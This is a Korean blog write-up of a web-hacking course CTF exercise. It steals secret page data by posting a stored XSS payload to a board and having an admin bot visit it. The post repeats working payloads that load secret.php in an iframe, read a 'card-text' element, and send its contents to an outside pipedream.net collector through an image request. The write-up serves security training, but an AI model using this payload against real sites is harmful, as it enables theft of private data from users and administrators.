문제 풀이

문제를 보니 "중요 정보가 있는 페이지와 똑같은 페이지"에서 추출 할 수 있는 HTML 태그를 찾은 후 XSS로 관리자 봇이 접근 하도록 해야 할 것 같다.

중요 정보가 있는 페이지와 똑같은 페이지
실제 중요 정보가 있는 페이지

 

게시판의 글쓰기에서 XSS가 실행 될수 있음을 확인

 

" 중요 정보가 있는 페이지와 똑같은 페이지"의 'this is a very secret info'문자열의 위치에 중요한 정보가 있을 듯 하니 해당 위치의 Text를 가져와 보자 

 

해당 태그는 p태그이며 card-text 클래스이다.

 

 


태그에서 필요한 데이터를 추출할 수 있게 되었으니 XSS를 통해 해당 데이터를 공격 서버로 전달하는 방법을 찾아보자

 

공격하는 페이지와 XSS가 실행되는 페이지가 다른 페이지이므로 XSS를 사용하여 iframe으로 해당 페이지를 불러온 후 원하는 데이터에 접근하여 데이터를 전달 할 것이다.

 

1. xss를 사용하여 Iframe으로 공격 대상 페이지 불러오기

Content-Disposition: form-data; name="update_body"
p123
</div>


<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="targtet" width="300" height="200"></iframe>

<div>

 

2. iframe 내부의 데이터 가져오기

id로 iframe을 가져오고 iframe의 contentDocument를 접근하면 iframe의 태그에 접근 할 수 있다.

 

스크립트가 실행중인 시점에 Dom이 모두 그려지지 않았기 때문에 "card-text"접근 시  undifined가 발생한다.

이를 해결하기 위해 img 태그 내부의 onerror함수로 넣고 src='x'로 넣게 된다면 이미지 태그는 모든 돔이 그려진 뒤 이미지를 호출 하기 때문에 "card-text"가 존재하는 시점에 스크립트가 실행된다.

 

Content-Disposition: form-data; name="update_body"
p123
</div>


<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target" width="300" height="200"></iframe>
<script>

var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'

</script>

<div>

 

3. 데이터 전달하기

페이지에 접근 결과 urnEncoding된 데이터로 "this is a very secret info"를 확인 할 수 있다. 

이제 iframe에 카피 페이지가 아닌 실제 데이터가 있는 페이지로 url을 변경하고 관리자가 접근 하도록 봇에 url을 넘겨보

 

mypage.html 에서 secret.php 로 iframe url을 변경

Content-Disposition: form-data; name="update_body"
p123
</div>


<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target" width="300" height="200"></iframe>
<script>

var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'

</script>

<div>

 

관리자 봇에 해당 XSS가 포함된 게시물의 URL을 전달하면 Flag를 얻을 수 있다.


정리

1. iframe으로 공격 대상이 되는 페이지를 XSS가 일어날 수 있는 페이지에서 추가 삽입한다.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target" width="300" height="200"></iframe>

2. iframe내부의 공격 대상이 되는 태그의 데이터를 추출한다.

var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML

3. 스크립트의 실행 시점에 데이터가 존재하지 않느다면 onerror등을 통해 이후에 실행 하도록 한다.

var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'

4.데이터를 전송한다.

 - XSS 삽입된 페이지 접속

'웹 해킹 코스 > 과제' 카테고리의 다른 글

12주차 CSRF 문제 풀이(Get Admin1)  (0) 2024.01.22
11주차 Steal Info2  (0) 2024.01.20
XSS 문제풀이 및 보고서 작성하기  (0) 2024.01.01
SQL Injection Point 4  (0) 2023.12.20
SQL Injection Point 3  (0) 2023.12.20

+ Recent posts